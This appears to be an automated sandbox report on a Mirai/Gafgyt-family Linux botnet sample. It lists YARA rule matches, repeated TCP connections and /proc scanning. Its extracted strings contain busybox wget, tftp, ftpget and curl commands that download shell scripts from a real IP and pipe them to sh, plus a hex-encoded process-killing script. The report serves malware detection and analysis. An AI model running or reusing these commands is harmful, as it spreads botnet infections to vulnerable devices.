Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: x86_32.nn.elf, type: SAMPLE |
Matched rule: Linux_Trojan_Gafgyt_5bf62ce4 Author: unknown |
Source: x86_32.nn.elf, type: SAMPLE |
Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown |
Source: x86_32.nn.elf, type: SAMPLE |
Matched rule: Linux_Trojan_Mirai_5f7b67b8 Author: unknown |
Source: x86_32.nn.elf, type: SAMPLE |
Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown |
Source: x86_32.nn.elf, type: SAMPLE |
Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown |
Source: x86_32.nn.elf, type: SAMPLE |
Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown |
Source: x86_32.nn.elf, type: SAMPLE |
Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown |
Source: 5818.1.0000000008048000.000000000805f000.r-x.sdmp, type: MEMORY |
Matched rule: Linux_Trojan_Gafgyt_5bf62ce4 Author: unknown |
Source: 5818.1.0000000008048000.000000000805f000.r-x.sdmp, type: MEMORY |
Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown |
Source: 5818.1.0000000008048000.000000000805f000.r-x.sdmp, type: MEMORY |
Matched rule: Linux_Trojan_Mirai_5f7b67b8 Author: unknown |
Source: 5818.1.0000000008048000.000000000805f000.r-x.sdmp, type: MEMORY |
Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown |
Source: 5818.1.0000000008048000.000000000805f000.r-x.sdmp, type: MEMORY |
Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown |
Source: 5818.1.0000000008048000.000000000805f000.r-x.sdmp, type: MEMORY |
Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown |
Source: 5818.1.0000000008048000.000000000805f000.r-x.sdmp, type: MEMORY |
Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown |
Source: 5809.1.0000000008048000.000000000805f000.r-x.sdmp, type: MEMORY |
Matched rule: Linux_Trojan_Gafgyt_5bf62ce4 Author: unknown |
Source: 5809.1.0000000008048000.000000000805f000.r-x.sdmp, type: MEMORY |
Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown |
Source: 5809.1.0000000008048000.000000000805f000.r-x.sdmp, type: MEMORY |
Matched rule: Linux_Trojan_Mirai_5f7b67b8 Author: unknown |
Source: 5809.1.0000000008048000.000000000805f000.r-x.sdmp, type: MEMORY |
Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown |
Source: 5809.1.0000000008048000.000000000805f000.r-x.sdmp, type: MEMORY |
Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown |
Source: 5809.1.0000000008048000.000000000805f000.r-x.sdmp, type: MEMORY |
Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown |
Source: 5809.1.0000000008048000.000000000805f000.r-x.sdmp, type: MEMORY |
Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown |
Source: Initial sample |
String containing 'busybox' found: /bin/busybox |
Source: Initial sample |
String containing 'busybox' found: (deleted)/proc/self/exe/proc/%s/exe/proc/opendir/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/sh487154914<146<2surf2/proc/%d/exe/.socket/tmp/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/opt/app/monitor/z/secom//usr/lib/sys/media/srv/sbin/httpdtelnetddropbearencodersystem/var/tmp/wlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdvar/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdhome/Davincissh/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharktcpdumpnetstatpythoniptablesnanonvimgdbpkillkillallapt/bin/loginFound And Killed Process: PID=%d, Realpath=%s/snap/snapd/15534/usr/lib/snapd/snapd/usr/libexec/openssh/sftp-serveranko-app/ankosample _8182T_1104/proc/self/st |
Source: Initial sample |
String containing 'busybox' found: usage: busybox |
Source: Initial sample |
String containing 'busybox' found: /bin/busybox hostname PBOC |
Source: Initial sample |
String containing 'busybox' found: /bin/busybox echo > |
Source: Initial sample |
String containing 'busybox' found: /bin/busybox echo -ne |
Source: Initial sample |
String containing 'busybox' found: /bin/busybox wget http://193.143.1.70/lol.sh -O- | sh; |
Source: Initial sample |
String containing 'busybox' found: /bin/busybox tftp -g http://193.143.1.70/ -r lol.sh -l- | sh; |
Source: Initial sample |
String containing 'busybox' found: /bin/busybox ftpget http://193.143.1.70/ lol.sh lol.sh && sh lol.sh; |
Source: Initial sample |
String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep |
Source: Initial sample |
String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenablelinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> >sh .k193.143.1.70GET /dlr. HTTP/1.0 |
Source: Initial sample |
String containing 'busybox' found: .dThe Gorilla/var//var/run//var/tmp//dev//dev/shm//etc//mnt//boot//home/armarm5arm6arm7mipsmpslppcspcsh4/bin/busybox wget http://193.143.1.70/lol.sh -O- | sh;/bin/busybox tftp -g http://193.143.1.70/ -r lol.sh -l- | sh;/bin/busybox ftpget http://193.143.1.70/ lol.sh lol.sh && sh lol.sh;curl http://193.143.1.70/curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x2 |
Source: x86_32.nn.elf, type: SAMPLE |
Matched rule: Linux_Trojan_Gafgyt_5bf62ce4 reference_sample = 4c6aeaa6f6a0c40a3f4116a2e19e669188a8b1678a8930350889da1bab531c68, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 3ffc398303f7208e77c4fbdfb50ac896e531b7cee3be2fa820bc8d70cfb20af3, id = 5bf62ce4-619b-4d46-b221-c5bf552474bb, last_modified = 2021-09-16 |
Source: x86_32.nn.elf, type: SAMPLE |
Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16 |
Source: x86_32.nn.elf, type: SAMPLE |
Matched rule: Linux_Trojan_Mirai_5f7b67b8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6cb5fb0b7c132e9c11ac72da43278025b60810ea3733c9c6d6ca966163185940, id = 5f7b67b8-3d7b-48a4-8f03-b6f2c92be92e, last_modified = 2021-09-16 |
Source: x86_32.nn.elf, type: SAMPLE |
Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16 |
Source: x86_32.nn.elf, type: SAMPLE |
Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26 |
Source: x86_32.nn.elf, type: SAMPLE |
Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26 |
Source: x86_32.nn.elf, type: SAMPLE |
Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26 |
Source: 5818.1.0000000008048000.000000000805f000.r-x.sdmp, type: MEMORY |
Matched rule: Linux_Trojan_Gafgyt_5bf62ce4 reference_sample = 4c6aeaa6f6a0c40a3f4116a2e19e669188a8b1678a8930350889da1bab531c68, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 3ffc398303f7208e77c4fbdfb50ac896e531b7cee3be2fa820bc8d70cfb20af3, id = 5bf62ce4-619b-4d46-b221-c5bf552474bb, last_modified = 2021-09-16 |
Source: 5818.1.0000000008048000.000000000805f000.r-x.sdmp, type: MEMORY |
Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16 |
Source: 5818.1.0000000008048000.000000000805f000.r-x.sdmp, type: MEMORY |
Matched rule: Linux_Trojan_Mirai_5f7b67b8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6cb5fb0b7c132e9c11ac72da43278025b60810ea3733c9c6d6ca966163185940, id = 5f7b67b8-3d7b-48a4-8f03-b6f2c92be92e, last_modified = 2021-09-16 |
Source: 5818.1.0000000008048000.000000000805f000.r-x.sdmp, type: MEMORY |
Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16 |
Source: 5818.1.0000000008048000.000000000805f000.r-x.sdmp, type: MEMORY |
Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26 |
Source: 5818.1.0000000008048000.000000000805f000.r-x.sdmp, type: MEMORY |
Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26 |
Source: 5818.1.0000000008048000.000000000805f000.r-x.sdmp, type: MEMORY |
Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26 |
Source: 5809.1.0000000008048000.000000000805f000.r-x.sdmp, type: MEMORY |
Matched rule: Linux_Trojan_Gafgyt_5bf62ce4 reference_sample = 4c6aeaa6f6a0c40a3f4116a2e19e669188a8b1678a8930350889da1bab531c68, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 3ffc398303f7208e77c4fbdfb50ac896e531b7cee3be2fa820bc8d70cfb20af3, id = 5bf62ce4-619b-4d46-b221-c5bf552474bb, last_modified = 2021-09-16 |
Source: 5809.1.0000000008048000.000000000805f000.r-x.sdmp, type: MEMORY |
Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16 |
Source: 5809.1.0000000008048000.000000000805f000.r-x.sdmp, type: MEMORY |
Matched rule: Linux_Trojan_Mirai_5f7b67b8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6cb5fb0b7c132e9c11ac72da43278025b60810ea3733c9c6d6ca966163185940, id = 5f7b67b8-3d7b-48a4-8f03-b6f2c92be92e, last_modified = 2021-09-16 |
Source: 5809.1.0000000008048000.000000000805f000.r-x.sdmp, type: MEMORY |
Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16 |
Source: 5809.1.0000000008048000.000000000805f000.r-x.sdmp, type: MEMORY |
Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26 |
Source: 5809.1.0000000008048000.000000000805f000.r-x.sdmp, type: MEMORY |
Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26 |
Source: 5809.1.0000000008048000.000000000805f000.r-x.sdmp, type: MEMORY |
Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26 |
Source: /tmp/x86_32.nn.elf (PID: 5885) |
File opened: /proc/6010/status |
Jump to behavior |
Source: /tmp/x86_32.nn.elf (PID: 5885) |
File opened: /proc/6021/status |
Jump to behavior |
Source: /tmp/x86_32.nn.elf (PID: 5885) |
File opened: /proc/6020/status |
Jump to behavior |
Source: /tmp/x86_32.nn.elf (PID: 5885) |
File opened: /proc/6012/status |
Jump to behavior |
Source: /tmp/x86_32.nn.elf (PID: 5885) |
File opened: /proc/6011/status |
Jump to behavior |
Source: /tmp/x86_32.nn.elf (PID: 5885) |
File opened: /proc/6022/status |
Jump to behavior |
Source: /tmp/x86_32.nn.elf (PID: 5885) |
File opened: /proc/5980/status |
Jump to behavior |
Source: /tmp/x86_32.nn.elf (PID: 5885) |
File opened: /proc/6014/status |
Jump to behavior |
Source: /tmp/x86_32.nn.elf (PID: 5885) |
File opened: /proc/6025/status |
Jump to behavior |
Source: /tmp/x86_32.nn.elf (PID: 5885) |
File opened: /proc/5981/status |
Jump to behavior |
Source: /tmp/x86_32.nn.elf (PID: 5885) |
File opened: /proc/6013/status |
Jump to behavior |
Source: /tmp/x86_32.nn.elf (PID: 5885) |
File opened: /proc/6016/status |
Jump to behavior |
Source: /tmp/x86_32.nn.elf (PID: 5885) |
File opened: /proc/5653/cmdline |
Jump to behavior |
Source: /tmp/x86_32.nn.elf (PID: 5885) |
File opened: /proc/6015/status |
Jump to behavior |
Source: /tmp/x86_32.nn.elf (PID: 5885) |
File opened: /proc/324/cmdline |
Jump to behavior |
Source: /tmp/x86_32.nn.elf (PID: 5885) |
File opened: /proc/6007/status |
Jump to behavior |
Source: /tmp/x86_32.nn.elf (PID: 5885) |
File opened: /proc/6018/status |
Jump to behavior |
Source: /tmp/x86_32.nn.elf (PID: 5885) |
File opened: /proc/6017/status |
Jump to behavior |
Source: /tmp/x86_32.nn.elf (PID: 5885) |
File opened: /proc/6009/status |
Jump to behavior |
Source: /tmp/x86_32.nn.elf (PID: 5885) |
File opened: /proc/803/cmdline |
Jump to behavior |
Source: /tmp/x86_32.nn.elf (PID: 5885) |
File opened: /proc/6008/status |
Jump to behavior |
Source: /tmp/x86_32.nn.elf (PID: 5885) |
File opened: /proc/6019/status |
Jump to behavior |
Source: /tmp/x86_32.nn.elf (PID: 5885) |
File opened: /proc/5978/status |
Jump to behavior |